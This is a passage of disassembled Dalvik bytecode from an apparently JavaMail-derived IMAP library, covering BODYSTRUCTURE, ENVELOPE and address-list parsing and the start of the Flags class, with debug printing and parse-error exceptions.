000005B8 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
000005BE move-result-object v1
000005C0 invoke-virtual StringBuilder->toString()String, v1
000005C6 move-result-object v1
000005C8 invoke-virtual PrintStream->println(String)V, v0, v1
:5CE
000005CE iget v0, p0, BODYSTRUCTURE->size:I
000005D2 if-gez v0, :5E6
:5D6
000005D6 new-instance v0, ParsingException
000005DA const-string v1, "BODYSTRUCTURE parse error: bad ``size\'\' element"
000005DE invoke-direct ParsingException-><init>(String)V, v0, v1
000005E4 throw v0
:5E6
000005E6 iget-object v0, p0, BODYSTRUCTURE->type:String
000005EA const-string v1, "text"
000005EE invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000005F4 move-result v0
000005F6 if-eqz v0, :652
:5FA
000005FA invoke-virtual FetchResponse->readNumber()I, p1
00000600 move-result v0
00000602 iput v0, p0, BODYSTRUCTURE->lines:I
00000606 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000060A if-eqz v0, :63A
:60E
0000060E sget-object v0, System->out:PrintStream
00000612 new-instance v1, StringBuilder
00000616 const-string v2, "DEBUG IMAP: lines "
0000061A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000620 iget v2, p0, BODYSTRUCTURE->lines:I
00000624 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000062A move-result-object v1
0000062C invoke-virtual StringBuilder->toString()String, v1
00000632 move-result-object v1
00000634 invoke-virtual PrintStream->println(String)V, v0, v1
:63A
0000063A iget v0, p0, BODYSTRUCTURE->lines:I
0000063E if-gez v0, :760
:642
00000642 new-instance v0, ParsingException
00000646 const-string v1, "BODYSTRUCTURE parse error: bad ``lines\'\' element"
0000064A invoke-direct ParsingException-><init>(String)V, v0, v1
00000650 throw v0
:652
00000652 iget-object v0, p0, BODYSTRUCTURE->type:String
00000656 const-string v1, "message"
0000065A invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000660 move-result v0
00000662 if-eqz v0, :6FE
:666
00000666 iget-object v0, p0, BODYSTRUCTURE->subtype:String
0000066A const-string v1, "rfc822"
0000066E invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000674 move-result v0
00000676 if-eqz v0, :6FE
:67A
0000067A sget v0, BODYSTRUCTURE->NESTED:I
0000067E iput v0, p0, BODYSTRUCTURE->processedType:I
00000682 new-instance v0, ENVELOPE
00000686 invoke-direct ENVELOPE-><init>(FetchResponse)V, v0, p1
0000068C iput-object v0, p0, BODYSTRUCTURE->envelope:ENVELOPE
00000690 new-array v0, v5, [BODYSTRUCTURE
00000694 new-instance v1, BODYSTRUCTURE
00000698 invoke-direct BODYSTRUCTURE-><init>(FetchResponse)V, v1, p1
0000069E aput-object v1, v0, v6
000006A2 iput-object v0, p0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
000006A6 invoke-virtual FetchResponse->readNumber()I, p1
000006AC move-result v0
000006AE iput v0, p0, BODYSTRUCTURE->lines:I
000006B2 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000006B6 if-eqz v0, :6E6
:6BA
000006BA sget-object v0, System->out:PrintStream
000006BE new-instance v1, StringBuilder
000006C2 const-string v2, "DEBUG IMAP: lines "
000006C6 invoke-direct StringBuilder-><init>(String)V, v1, v2
000006CC iget v2, p0, BODYSTRUCTURE->lines:I
000006D0 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
000006D6 move-result-object v1
000006D8 invoke-virtual StringBuilder->toString()String, v1
000006DE move-result-object v1
000006E0 invoke-virtual PrintStream->println(String)V, v0, v1
:6E6
000006E6 iget v0, p0, BODYSTRUCTURE->lines:I
000006EA if-gez v0, :760
:6EE
000006EE new-instance v0, ParsingException
000006F2 const-string v1, "BODYSTRUCTURE parse error: bad ``lines\'\' element"
000006F6 invoke-direct ParsingException-><init>(String)V, v0, v1
000006FC throw v0
:6FE
000006FE invoke-virtual FetchResponse->skipSpaces()V, p1
00000704 invoke-virtual FetchResponse->peekByte()B, p1
0000070A move-result v0
0000070C int-to-char v0, v0
0000070E invoke-static Character->isDigit(C)Z, v0
00000714 move-result v0
00000716 if-eqz v0, :760
:71A
0000071A new-instance v0, ParsingException
0000071E new-instance v1, StringBuilder
00000722 const-string v2, "BODYSTRUCTURE parse error: server erroneously included ``lines\'\' element with type "
00000726 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000072C iget-object v2, p0, BODYSTRUCTURE->type:String
00000730 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000736 move-result-object v1
00000738 const-string v2, "/"
0000073C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000742 move-result-object v1
00000744 iget-object v2, p0, BODYSTRUCTURE->subtype:String
00000748 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000074E move-result-object v1
00000750 invoke-virtual StringBuilder->toString()String, v1
00000756 move-result-object v1
00000758 invoke-direct ParsingException-><init>(String)V, v0, v1
0000075E throw v0
:760
00000760 invoke-virtual FetchResponse->peekByte()B, p1
00000766 move-result v0
00000768 if-ne v0, v3, :78C
:76C
0000076C invoke-virtual FetchResponse->readByte()B, p1
00000772 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000776 if-eqz v0, :174
:77A
0000077A sget-object v0, System->out:PrintStream
0000077E const-string v1, "DEBUG IMAP: parse DONE"
00000782 invoke-virtual PrintStream->println(String)V, v0, v1
00000788 goto/16 :174
:78C
0000078C invoke-virtual FetchResponse->readString()String, p1
00000792 move-result-object v0
00000794 iput-object v0, p0, BODYSTRUCTURE->md5:String
00000798 invoke-virtual FetchResponse->readByte()B, p1
0000079E move-result v0
000007A0 if-ne v0, v3, :7BE
:7A4
000007A4 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000007A8 if-eqz v0, :174
:7AC
000007AC sget-object v0, System->out:PrintStream
000007B0 const-string v1, "DEBUG IMAP: no MD5 DONE"
000007B4 invoke-virtual PrintStream->println(String)V, v0, v1
000007BA goto/16 :174
:7BE
000007BE invoke-virtual FetchResponse->readByte()B, p1
000007C4 move-result v0
000007C6 if-ne v0, v4, :866
:7CA
000007CA invoke-virtual FetchResponse->readString()String, p1
000007D0 move-result-object v0
000007D2 iput-object v0, p0, BODYSTRUCTURE->disposition:String
000007D6 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000007DA if-eqz v0, :80A
:7DE
000007DE sget-object v0, System->out:PrintStream
000007E2 new-instance v1, StringBuilder
000007E6 const-string v2, "DEBUG IMAP: disposition "
000007EA invoke-direct StringBuilder-><init>(String)V, v1, v2
000007F0 iget-object v2, p0, BODYSTRUCTURE->disposition:String
000007F4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000007FA move-result-object v1
000007FC invoke-virtual StringBuilder->toString()String, v1
00000802 move-result-object v1
00000804 invoke-virtual PrintStream->println(String)V, v0, v1
:80A
0000080A invoke-direct BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000810 move-result-object v0
00000812 iput-object v0, p0, BODYSTRUCTURE->dParams:ParameterList
00000816 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000081A if-eqz v0, :84A
:81E
0000081E sget-object v0, System->out:PrintStream
00000822 new-instance v1, StringBuilder
00000826 const-string v2, "DEBUG IMAP: dParams "
0000082A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000830 iget-object v2, p0, BODYSTRUCTURE->dParams:ParameterList
00000834 invoke-virtual StringBuilder->append(Object)StringBuilder, v1, v2
0000083A move-result-object v1
0000083C invoke-virtual StringBuilder->toString()String, v1
00000842 move-result-object v1
00000844 invoke-virtual PrintStream->println(String)V, v0, v1
:84A
0000084A invoke-virtual FetchResponse->readByte()B, p1
00000850 move-result v0
00000852 if-eq v0, v3, :894
:856
00000856 new-instance v0, ParsingException
0000085A const-string v1, "BODYSTRUCTURE parse error: missing ``)\'\' at end of disposition"
0000085E invoke-direct ParsingException-><init>(String)V, v0, v1
00000864 throw v0
:866
00000866 const/16 v1, 0x4E
0000086A if-eq v0, v1, :876
:86E
0000086E const/16 v1, 0x6E
00000872 if-ne v0, v1, :8BA
:876
00000876 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000087A if-eqz v0, :88C
:87E
0000087E sget-object v0, System->out:PrintStream
00000882 const-string v1, "DEBUG IMAP: disposition NIL"
00000886 invoke-virtual PrintStream->println(String)V, v0, v1
:88C
0000088C const/4 v0, 0x2
0000088E invoke-virtual FetchResponse->skip(I)V, p1, v0
:894
00000894 invoke-virtual FetchResponse->readByte()B, p1
0000089A move-result v0
0000089C if-ne v0, v3, :920
:8A0
000008A0 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000008A4 if-eqz v0, :174
:8A8
000008A8 sget-object v0, System->out:PrintStream
000008AC const-string v1, "DEBUG IMAP: disposition DONE"
000008B0 invoke-virtual PrintStream->println(String)V, v0, v1
000008B6 goto/16 :174
:8BA
000008BA new-instance v1, ParsingException
000008BE new-instance v2, StringBuilder
000008C2 const-string v3, "BODYSTRUCTURE parse error: "
000008C6 invoke-direct StringBuilder-><init>(String)V, v2, v3
000008CC iget-object v3, p0, BODYSTRUCTURE->type:String
000008D0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000008D6 move-result-object v2
000008D8 const-string v3, "/"
000008DC invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000008E2 move-result-object v2
000008E4 iget-object v3, p0, BODYSTRUCTURE->subtype:String
000008E8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000008EE move-result-object v2
000008F0 const-string v3, ": "
000008F4 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000008FA move-result-object v2
000008FC const-string v3, "bad single part disposition, b "
00000900 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000906 move-result-object v2
00000908 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v0
0000090E move-result-object v0
00000910 invoke-virtual StringBuilder->toString()String, v0
00000916 move-result-object v0
00000918 invoke-direct ParsingException-><init>(String)V, v1, v0
0000091E throw v1
:920
00000920 invoke-virtual FetchResponse->peekByte()B, p1
00000926 move-result v0
00000928 if-ne v0, v4, :994
:92C
0000092C invoke-virtual FetchResponse->readStringList()[String, p1
00000932 move-result-object v0
00000934 iput-object v0, p0, BODYSTRUCTURE->language:[String
00000938 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000093C if-eqz v0, :96E
:940
00000940 sget-object v0, System->out:PrintStream
00000944 new-instance v1, StringBuilder
00000948 const-string v2, "DEBUG IMAP: language len "
0000094C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000952 iget-object v2, p0, BODYSTRUCTURE->language:[String
00000956 array-length v2, v2
00000958 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000095E move-result-object v1
00000960 invoke-virtual StringBuilder->toString()String, v1
00000966 move-result-object v1
00000968 invoke-virtual PrintStream->println(String)V, v0, v1
:96E
0000096E invoke-virtual FetchResponse->readByte()B, p1
00000974 move-result v0
00000976 if-eq v0, v7, :9DE
:97A
0000097A sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000097E if-eqz v0, :174
:982
00000982 sget-object v0, System->out:PrintStream
00000986 const-string v1, "DEBUG IMAP: all DONE"
0000098A invoke-virtual PrintStream->println(String)V, v0, v1
00000990 goto/16 :174
:994
00000994 invoke-virtual FetchResponse->readString()String, p1
0000099A move-result-object v0
0000099C if-eqz v0, :96E
:9A0
000009A0 new-array v1, v5, [String
000009A4 aput-object v0, v1, v6
000009A8 iput-object v1, p0, BODYSTRUCTURE->language:[String
000009AC sget-boolean v1, BODYSTRUCTURE->parseDebug:Z
000009B0 if-eqz v1, :96E
:9B4
000009B4 sget-object v1, System->out:PrintStream
000009B8 new-instance v2, StringBuilder
000009BC const-string v3, "DEBUG IMAP: language "
000009C0 invoke-direct StringBuilder-><init>(String)V, v2, v3
000009C6 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000009CC move-result-object v0
000009CE invoke-virtual StringBuilder->toString()String, v0
000009D4 move-result-object v0
000009D6 invoke-virtual PrintStream->println(String)V, v1, v0
000009DC goto :96E
:9DE
000009DE invoke-direct BODYSTRUCTURE->parseBodyExtension(Response)V, p0, p1
000009E4 goto :96E
.end method
.method private parseBodyExtension(Response)V
.registers 4
00000000 invoke-virtual Response->skipSpaces()V, p1
00000006 invoke-virtual Response->peekByte()B, p1
0000000C move-result v0
0000000E const/16 v1, 0x28
00000012 if-ne v0, v1, :36
:16
00000016 const/4 v0, 0x1
00000018 invoke-virtual Response->skip(I)V, p1, v0
:1E
0000001E invoke-direct BODYSTRUCTURE->parseBodyExtension(Response)V, p0, p1
00000024 invoke-virtual Response->readByte()B, p1
0000002A move-result v0
0000002C const/16 v1, 0x29
00000030 if-ne v0, v1, :1E
:34
00000034 return-void
:36
00000036 int-to-char v0, v0
00000038 invoke-static Character->isDigit(C)Z, v0
0000003E move-result v0
00000040 if-eqz v0, :4C
:44
00000044 invoke-virtual Response->readNumber()I, p1
0000004A goto :34
:4C
0000004C invoke-virtual Response->readString()String, p1
00000052 goto :34
.end method
.method private parseParameters(Response)ParameterList
.registers 9
00000000 const/4 v1, 0x0
00000002 invoke-virtual Response->skipSpaces()V, p1
00000008 invoke-virtual Response->readByte()B, p1
0000000E move-result v0
00000010 const/16 v2, 0x28
00000014 if-ne v0, v2, :116
:18
00000018 new-instance v0, ParameterList
0000001C invoke-direct ParameterList-><init>()V, v0
:22
00000022 invoke-virtual Response->readString()String, p1
00000028 move-result-object v2
0000002A sget-boolean v3, BODYSTRUCTURE->parseDebug:Z
0000002E if-eqz v3, :5A
:32
00000032 sget-object v3, System->out:PrintStream
00000036 new-instance v4, StringBuilder
0000003A const-string v5, "DEBUG IMAP: parameter name "
0000003E invoke-direct StringBuilder-><init>(String)V, v4, v5
00000044 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v2
0000004A move-result-object v4
0000004C invoke-virtual StringBuilder->toString()String, v4
00000052 move-result-object v4
00000054 invoke-virtual PrintStream->println(String)V, v3, v4
:5A
0000005A if-nez v2, :BC
:5E
0000005E new-instance v0, ParsingException
00000062 new-instance v1, StringBuilder
00000066 const-string v2, "BODYSTRUCTURE parse error: "
0000006A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000070 iget-object v2, p0, BODYSTRUCTURE->type:String
00000074 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000007A move-result-object v1
0000007C const-string v2, "/"
00000080 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000086 move-result-object v1
00000088 iget-object v2, p0, BODYSTRUCTURE->subtype:String
0000008C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000092 move-result-object v1
00000094 const-string v2, ": "
00000098 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000009E move-result-object v1
000000A0 const-string v2, "null name in parameter list"
000000A4 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000AA move-result-object v1
000000AC invoke-virtual StringBuilder->toString()String, v1
000000B2 move-result-object v1
000000B4 invoke-direct ParsingException-><init>(String)V, v0, v1
000000BA throw v0
:BC
000000BC invoke-virtual Response->readString()String, p1
000000C2 move-result-object v3
000000C4 sget-boolean v4, BODYSTRUCTURE->parseDebug:Z
000000C8 if-eqz v4, :F4
:CC
000000CC sget-object v4, System->out:PrintStream
000000D0 new-instance v5, StringBuilder
000000D4 const-string v6, "DEBUG IMAP: parameter value "
000000D8 invoke-direct StringBuilder-><init>(String)V, v5, v6
000000DE invoke-virtual StringBuilder->append(String)StringBuilder, v5, v3
000000E4 move-result-object v5
000000E6 invoke-virtual StringBuilder->toString()String, v5
000000EC move-result-object v5
000000EE invoke-virtual PrintStream->println(String)V, v4, v5
:F4
000000F4 invoke-virtual ParameterList->set(String, String)V, v0, v2, v3
000000FA invoke-virtual Response->readByte()B, p1
00000100 move-result v2
00000102 const/16 v3, 0x29
00000106 if-ne v2, v3, :22
:10A
0000010A const-string v2, "DONE"
0000010E invoke-virtual ParameterList->set(String, String)V, v0, v1, v2
:114
00000114 return-object v0
:116
00000116 const/16 v2, 0x4E
0000011A if-eq v0, v2, :126
:11E
0000011E const/16 v2, 0x6E
00000122 if-ne v0, v2, :148
:126
00000126 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000012A if-eqz v0, :13C
:12E
0000012E sget-object v0, System->out:PrintStream
00000132 const-string v2, "DEBUG IMAP: parameter list NIL"
00000136 invoke-virtual PrintStream->println(String)V, v0, v2
:13C
0000013C const/4 v0, 0x2
0000013E invoke-virtual Response->skip(I)V, p1, v0
00000144 move-object v0, v1
00000146 goto :114
:148
00000148 new-instance v0, ParsingException
0000014C const-string v1, "Parameter list parse error"
00000150 invoke-direct ParsingException-><init>(String)V, v0, v1
00000156 throw v0
.end method
.method public isMulti()Z
.registers 3
00000000 iget v0, p0, BODYSTRUCTURE->processedType:I
00000004 sget v1, BODYSTRUCTURE->MULTI:I
00000008 if-ne v0, v1, :10
:C
0000000C const/4 v0, 0x1
:E
0000000E return v0
:10
00000010 const/4 v0, 0x0
00000012 goto :E
.end method
.method public isNested()Z
.registers 3
00000000 iget v0, p0, BODYSTRUCTURE->processedType:I
00000004 sget v1, BODYSTRUCTURE->NESTED:I
00000008 if-ne v0, v1, :10
:C
0000000C const/4 v0, 0x1
:E
0000000E return v0
:10
00000010 const/4 v0, 0x0
00000012 goto :E
.end method
.method public isSingle()Z
.registers 3
00000000 iget v0, p0, BODYSTRUCTURE->processedType:I
00000004 sget v1, BODYSTRUCTURE->SINGLE:I
00000008 if-ne v0, v1, :10
:C
0000000C const/4 v0, 0x1
:E
0000000E return v0
:10
00000010 const/4 v0, 0x0
00000012 goto :E
.end method
#--------------------------------------------------------------------------------
.class public ENVELOPE
.super Object
.source ""
.implements Item
.field private static mailDateFormat:MailDateFormat
.field static final name:[C
.field public bcc:[InternetAddress
.field public cc:[InternetAddress
.field public date:Date
.field public from:[InternetAddress
.field public inReplyTo:String
.field public messageId:String
.field public msgno:I
.field public replyTo:[InternetAddress
.field public sender:[InternetAddress
.field public subject:String
.field public to:[InternetAddress
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x8
00000004 new-array v0, v0, [C
00000008 fill-array-data v0, :24
0000000E sput-object v0, ENVELOPE->name:[C
00000012 new-instance v0, MailDateFormat
00000016 invoke-direct MailDateFormat-><init>()V, v0
0000001C sput-object v0, ENVELOPE->mailDateFormat:MailDateFormat
00000020 return-void
00000024 .array-data 2 x 0x8
0x45
0x4E
0x56
0x45
0x4C
0x4F
0x50
0x45
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, ENVELOPE->date:Date
0000000C invoke-virtual FetchResponse->getNumber()I, p1
00000012 move-result v0
00000014 iput v0, p0, ENVELOPE->msgno:I
00000018 invoke-virtual FetchResponse->skipSpaces()V, p1
0000001E invoke-virtual FetchResponse->readByte()B, p1
00000024 move-result v0
00000026 const/16 v1, 0x28
0000002A if-eq v0, v1, :3E
:2E
0000002E new-instance v0, ParsingException
00000032 const-string v1, "ENVELOPE parse error"
00000036 invoke-direct ParsingException-><init>(String)V, v0, v1
0000003C throw v0
:3E
0000003E invoke-virtual FetchResponse->readString()String, p1
00000044 move-result-object v0
00000046 if-eqz v0, :5A
:4A
0000004A sget-object v1, ENVELOPE->mailDateFormat:MailDateFormat
0000004E invoke-virtual MailDateFormat->parse(String)Date, v1, v0
00000054 move-result-object v0
00000056 iput-object v0, p0, ENVELOPE->date:Date
:5A
0000005A invoke-virtual FetchResponse->readString()String, p1
00000060 move-result-object v0
00000062 iput-object v0, p0, ENVELOPE->subject:String
00000066 invoke-direct ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
0000006C move-result-object v0
0000006E iput-object v0, p0, ENVELOPE->from:[InternetAddress
00000072 invoke-direct ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
00000078 move-result-object v0
0000007A iput-object v0, p0, ENVELOPE->sender:[InternetAddress
0000007E invoke-direct ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
00000084 move-result-object v0
00000086 iput-object v0, p0, ENVELOPE->replyTo:[InternetAddress
0000008A invoke-direct ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
00000090 move-result-object v0
00000092 iput-object v0, p0, ENVELOPE->to:[InternetAddress
00000096 invoke-direct ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
0000009C move-result-object v0
0000009E iput-object v0, p0, ENVELOPE->cc:[InternetAddress
000000A2 invoke-direct ENVELOPE->parseAddressList(Response)[InternetAddress, p0, p1
000000A8 move-result-object v0
000000AA iput-object v0, p0, ENVELOPE->bcc:[InternetAddress
000000AE invoke-virtual FetchResponse->readString()String, p1
000000B4 move-result-object v0
000000B6 iput-object v0, p0, ENVELOPE->inReplyTo:String
000000BA invoke-virtual FetchResponse->readString()String, p1
000000C0 move-result-object v0
000000C2 iput-object v0, p0, ENVELOPE->messageId:String
000000C6 invoke-virtual FetchResponse->readByte()B, p1
000000CC move-result v0
000000CE const/16 v1, 0x29
000000D2 if-eq v0, v1, :E6
:D6
000000D6 new-instance v0, ParsingException
000000DA const-string v1, "ENVELOPE parse error"
000000DE invoke-direct ParsingException-><init>(String)V, v0, v1
000000E4 throw v0
:E6
000000E6 return-void
:E8
000000E8 move-exception v0
000000EA goto :5A
.catch Exception {:4A .. :5A} :E8
.end method
.method private parseAddressList(Response)[InternetAddress
.registers 5
00000000 invoke-virtual Response->skipSpaces()V, p1
00000006 invoke-virtual Response->readByte()B, p1
0000000C move-result v0
0000000E const/16 v1, 0x28
00000012 if-ne v0, v1, :68
:16
00000016 new-instance v1, Vector
0000001A invoke-direct Vector-><init>()V, v1
:20
00000020 new-instance v0, IMAPAddress
00000024 invoke-direct IMAPAddress-><init>(Response)V, v0, p1
0000002A invoke-virtual IMAPAddress->isEndOfGroup()Z, v0
00000030 move-result v2
00000032 if-nez v2, :3C
:36
00000036 invoke-virtual Vector->addElement(Object)V, v1, v0
:3C
0000003C invoke-virtual Response->peekByte()B, p1
00000042 move-result v0
00000044 const/16 v2, 0x29
00000048 if-ne v0, v2, :20
:4C
0000004C const/4 v0, 0x1
0000004E invoke-virtual Response->skip(I)V, p1, v0
00000054 invoke-virtual Vector->size()I, v1
0000005A move-result v0
0000005C new-array v0, v0, [InternetAddress
00000060 invoke-virtual Vector->copyInto([Object)V, v1, v0
:66
00000066 return-object v0
:68
00000068 const/16 v1, 0x4E
0000006C if-eq v0, v1, :78
:70
00000070 const/16 v1, 0x6E
00000074 if-ne v0, v1, :84
:78
00000078 const/4 v0, 0x2
0000007A invoke-virtual Response->skip(I)V, p1, v0
00000080 const/4 v0, 0x0
00000082 goto :66
:84
00000084 new-instance v0, ParsingException
00000088 const-string v1, "ADDRESS parse error"
0000008C invoke-direct ParsingException-><init>(String)V, v0, v1
00000092 throw v0
.end method
#--------------------------------------------------------------------------------
.class public Flags
.super Object
.source ""
.implements Serializable
.implements Cloneable
.field private static final ANSWERED_BIT:I = 0x1
.field private static final DELETED_BIT:I = 0x2
.field private static final DRAFT_BIT:I = 0x4
.field private static final FLAGGED_BIT:I = 0x8
.field private static final RECENT_BIT:I = 0x10
.field private static final SEEN_BIT:I = 0x20
.field private static final USER_BIT:I = 0x80000000
.field private static final serialVersionUID:J = 0x56A5B06539097BC4L
.field private system_flags:I
.field private user_flags:Hashtable
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, Flags->system_flags:I
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, Flags->user_flags:Hashtable
00000012 return-void
.end method
.method public constructor <init>(String)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, Flags->system_flags:I
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, Flags->user_flags:Hashtable
00000012 new-instance v0, Hashtable
00000016 const/4 v1, 0x1
00000018 invoke-direct Hashtable-><init>(I)V, v0, v1
0000001E iput-object v0, p0, Flags->user_flags:Hashtable
00000022 iget-object v0, p0, Flags->user_flags:Hashtable
00000026 sget-object v1, Locale->ENGLISH:Locale
0000002A invoke-virtual String->toLowerCase(Locale)String, p1, v1
00000030 move-result-object v1
00000032 invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p1
00000038 return-void
.end method
.method public constructor <init>(Flags$Flag)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, Flags->system_flags:I
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, Flags->user_flags:Hashtable
00000012 iget v0, p0, Flags->system_flags:I
00000016 invoke-static Flags$Flag->access$0(Flags$Flag)I, p1
0000001C move-result v1
0000001E or-int/2addr v0, v1
00000020 iput v0, p0, Flags->system_flags:I
00000024 return-void
.end method
.method public constructor <init>(Flags)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, Flags->system_flags:I
0000000C const/4 v0, 0x0
0000000E iput-object v0, p0, Flags->user_flags:Hashtable
00000012 iget v0, p1, Flags->system_flags:I
00000016 iput v0, p0, Flags->system_flags:I
0000001A iget-object v0, p1, Flags->user_flags:Hashtable
0000001E if-eqz v0, :36
:22
00000022 iget-object v0, p1, Flags->user_flags:Hashtable
00000026 invoke-virtual Hashtable->clone()Object, v0
0000002C move-result-object v0
0000002E check-cast v0, Hashtable
00000032 iput-object v0, p0, Flags->user_flags:Hashtable
:36
00000036 return-void
.end method
.method public add(String)V
.registers 4
00000000 iget-object v0, p0, Flags->user_flags:Hashtable
00000004 if-nez v0, :18
:8
00000008 new-instance v0, Hashtable
0000000C const/4 v1, 0x1
0000000E invoke-direct Hashtable-><init>(I)V, v0, v1
00000014 iput-object v0, p0, Flags->user_flags:Hashtable
:18
00000018 iget-object v0, p0, Flags->user_flags:Hashtable
0000001C sget-object v1, Locale->ENGLISH:Locale
00000020 invoke-virtual String->toLowerCase(Locale)String, p1, v1
00000026 move-result-object v1
00000028 invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p1
0000002E return-void
.end method
.method public add(Flags$Flag)V
.registers 4
00000000 iget v0, p0, Flags->system_flags:I
00000004 invoke-static Flags$Flag->access$0(Flags$Flag)I, p1
0000000A move-result v1
0000000C or-int/2addr v0, v1
0000000E iput v0, p0, Flags->system_flags:I
00000012 return-void
.end method
.method public add(Flags)V
.registers 6
00000000 iget v0, p0, Flags->system_flags:I
00000004 iget v1, p1, Flags->system_flags:I
00000008 or-int/2addr v0, v1
0000000A iput v0, p0, Flags->system_flags:I
0000000E iget-object v0, p1, Flags->user_flags:Hashtable
00000012 if-eqz v0, :46
:16
00000016 iget-object v0, p0, Flags->user_flags:Hashtable
0000001A if-nez v0, :2E
:1E
0000001E new-instance v0, Hashtable
00000022 const/4 v1, 0x1
00000024 invoke-direct Hashtable-><init>(I)V, v0, v1
0000002A iput-object v0, p0, Flags->user_flags:Hashtable
:2E
0000002E iget-object v0, p1, Flags->user_flags:Hashtable
00000032 invoke-virtual Hashtable->keys()Enumeration, v0
00000038 move-result-object v1
:3A
0000003A invoke-interface Enumeration->hasMoreElements()Z, v1
00000040 move-result v0
00000042 if-nez v0, :48
:46
00000046 return-void
:48
00000048 invoke-interface Enumeration->nextElement()Object, v1
0000004E move-result-object v0
00000050 check-cast v0, String
00000054 iget-object v2, p0, Flags->user_flags:Hashtable
00000058 iget-object v3, p1, Flags->user_flags:Hashtable
0000005C invoke-virtual Hashtable->get(Object)Object, v3, v0
00000062 move-result-object v3
00000064 invoke-virtual Hashtable->put(Object, Object)Object, v2, v0, v3
0000006A goto :3A
.end method
.method public clone()Object
.registers 3
00000000 const/4 v1, 0x0
:2
00000002 invoke-super Object->clone()Object, p0
00000008 move-result-object v0
0000000A check-cast v0, Flags
:E
0000000E move-object v1, v0
:10
00000010 iget-object v0, p0, Flags->user_flags:Hashtable
00000014 if-eqz v0, :30
:18
00000018 if-eqz v1, :30
:1C
0000001C iget-object v0, p0, Flags->user_flags:Hashtable
00000020 invoke-virtual Hashtable->clone()Object, v0
00000026 move-result-object v0
00000028 check-cast v0, Hashtable
0000002C iput-object v0, v1, Flags->user_flags:Hashtable
:30
00000030 return-object v1
:32
00000032 move-exception v0
00000034 goto :10
.catch CloneNotSupportedException {:2 .. :E} :32
.end method
.method public contains(String)Z
.registers 4
00000000 iget-object v0, p0, Flags->user_flags:Hashtable
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C iget-object v0, p0, Flags->user_flags:Hashtable
00000010 sget-object v1, Locale->ENGLISH:Locale
00000014 invoke-virtual String->toLowerCase(Locale)String, p1, v1
0000001A move-result-object v1
0000001C invoke-virtual Hashtable->containsKey(Object)Z, v0, v1
00000022 move-result v0
00000024 goto :A
.end method
.method public contains(Flags$Flag)Z
.registers 4
00000000 iget v0, p0, Flags->system_flags:I
00000004 invoke-static Flags$Flag->access$0(Flags$Flag)I, p1
0000000A move-result v1
0000000C and-int/2addr v0, v1
0000000E if-eqz v0, :16
:12
00000012 const/4 v0, 0x1
:14
00000014 return v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public contains(Flags)Z
.registers 6
00000000 const/4 v0, 0x0
00000002 iget v1, p1, Flags->system_flags:I
00000006 iget v2, p0, Flags->system_flags:I
0000000A and-int/2addr v1, v2
0000000C iget v2, p1, Flags->system_flags:I
00000010 if-eq v1, v2, :16
:14
00000014 return v0
:16
00000016 iget-object v1, p1, Flags->user_flags:Hashtable
